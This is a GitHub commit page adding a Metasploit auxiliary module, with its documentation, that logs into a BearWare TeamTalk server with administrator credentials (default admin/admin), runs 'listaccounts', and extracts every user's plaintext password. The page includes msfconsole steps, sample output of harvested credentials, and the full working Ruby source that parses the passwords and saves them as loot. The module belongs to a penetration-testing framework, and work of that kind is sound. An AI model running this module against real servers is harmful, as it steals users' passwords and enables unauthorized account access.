Skip to content

Commit d5124fd

Browse files
committed
Land rapid7#8759, Add TeamTalk Gather Credentials auxiliary module
2 parents fbb0f20 + c9e32fb commit d5124fd

File tree

2 files changed

+230
-0
lines changed

2 files changed

+230
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module retrieves user credentials from BearWare TeamTalk.
4+
5+
Valid administrator credentials are required.
6+
7+
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
8+
9+
10+
## Vulnerable Application
11+
12+
[TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
13+
14+
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
15+
16+
The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
17+
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Do: `use auxiliary/gather/teamtalk_creds`
23+
3. Do: `set rhost <RHOST>`
24+
4. Do: `set rport <RPORT>` (default: `10333`)
25+
5. Do: `set username <USERNAME>` (default: `admin`)
26+
6. Do: `set password <PASSWORD>` (default: `admin`)
27+
7. Do: `run`
28+
8. You should get credentials
29+
30+
31+
## Scenarios
32+
33+
```
34+
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
35+
[+] 172.16.191.166:10333 - Authenticated successfully
36+
[+] 172.16.191.166:10333 - User is an administrator
37+
[*] 172.16.191.166:10333 - Found 5 users
38+
39+
TeamTalk User Credentials
40+
=========================
41+
42+
Username Password Type
43+
-------- -------- ----
44+
debbie 1234567890 1
45+
murphy 934txs 2
46+
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
47+
sparks password 2
48+
stormy 1
49+
50+
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
51+
[*] Auxiliary module execution completed
52+
```
53+
Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'TeamTalk Gather Credentials',
13+
'Description' => %q{
14+
This module retrieves user credentials from BearWare TeamTalk.
15+
16+
Valid administrator credentials are required.
17+
18+
This module has been tested successfully on TeamTalk versions
19+
5.2.2.4885 and 5.2.3.4893.
20+
},
21+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
22+
'References' =>
23+
[
24+
# Protocol documentation
25+
['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
26+
],
27+
'License' => MSF_LICENSE))
28+
register_options [
29+
Opt::RPORT(10333),
30+
OptString.new('USERNAME', [false, 'The username for TeamTalk', 'admin']),
31+
OptString.new('PASSWORD', [false, 'The password for the specified username', 'admin'])
32+
]
33+
end
34+
35+
def run
36+
vprint_status 'Connecting...'
37+
38+
connect
39+
banner = sock.get_once
40+
41+
unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
42+
fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
43+
end
44+
45+
print_status "Found TeamTalk (protocol version #{$1})"
46+
47+
report_service :host => rhost,
48+
:port => rport,
49+
:proto => 'tcp',
50+
:name => 'teamtalk'
51+
52+
vprint_status "Authenticating as '#{username}'"
53+
54+
req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
55+
res = send_command req
56+
57+
unless res.to_s.starts_with? 'accepted'
58+
fail_with Failure::NoAccess, 'Authentication failed'
59+
end
60+
61+
print_good 'Authenticated successfully'
62+
63+
if res =~ /usertype=2/
64+
print_good 'User is an administrator'
65+
else
66+
print_warning 'User is not an administrator'
67+
end
68+
69+
vprint_status "Retrieving users..."
70+
71+
res = send_command 'listaccounts'
72+
73+
if res =~ /^error/ && res =~ /message="Command not authorized"/
74+
print_error 'Insufficient privileges'
75+
return
76+
end
77+
78+
unless res =~ /^ok\r?\n?\z/
79+
print_error 'Unexpected reply'
80+
return
81+
end
82+
83+
cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',
84+
'Indent' => 1,
85+
'Columns' => ['Username', 'Password', 'Type']
86+
87+
res.each_line do |line|
88+
line.chomp!
89+
next unless line =~ /^useraccount/
90+
91+
user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
92+
pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
93+
type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first
94+
95+
cred_table << [ user, pass, type ]
96+
report_cred user: user,
97+
password: pass,
98+
type: type,
99+
proof: line
100+
end
101+
102+
if cred_table.rows.empty?
103+
print_error 'Did not find any users'
104+
return
105+
end
106+
107+
print_status "Found #{cred_table.rows.size} users"
108+
print_line
109+
print_line cred_table.to_s
110+
111+
p = store_loot 'teamtalk.user.creds',
112+
'text/csv',
113+
rhost,
114+
cred_table.to_csv,
115+
'TeamTalk User Credentials'
116+
117+
print_good "Credentials saved in: #{p}"
118+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
119+
print_error e.message
120+
ensure
121+
disconnect
122+
end
123+
124+
private
125+
126+
def username
127+
datastore['USERNAME'] || ''
128+
end
129+
130+
def password
131+
datastore['PASSWORD'] || ''
132+
end
133+
134+
def report_cred(opts)
135+
service_data = {
136+
address: rhost,
137+
port: rport,
138+
service_name: 'teamtalk',
139+
protocol: 'tcp',
140+
workspace_id: myworkspace_id
141+
}
142+
143+
credential_data = {
144+
origin_type: :service,
145+
module_fullname: fullname,
146+
username: opts[:user],
147+
private_data: opts[:password],
148+
private_type: :password
149+
}.merge service_data
150+
151+
login_data = {
152+
core: create_credential(credential_data),
153+
status: Metasploit::Model::Login::Status::UNTRIED,
154+
access_level: opts[:type],
155+
proof: opts[:proof]
156+
}.merge service_data
157+
158+
create_credential_login login_data
159+
end
160+
161+
def send_command(cmd = '')
162+
cmd_id = rand(1000)
163+
sock.put "#{cmd} id=#{cmd_id}\n"
164+
165+
res = ''
166+
timeout = 15
167+
Timeout.timeout(timeout) do
168+
res << sock.get_once until res =~ /^end id=#{cmd_id}/
169+
end
170+
171+
res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
172+
rescue Timeout::Error
173+
print_error "Timeout (#{timeout} seconds)"
174+
rescue => e
175+
print_error e.message
176+
end
177+
end

0 commit comments

Comments
 (0)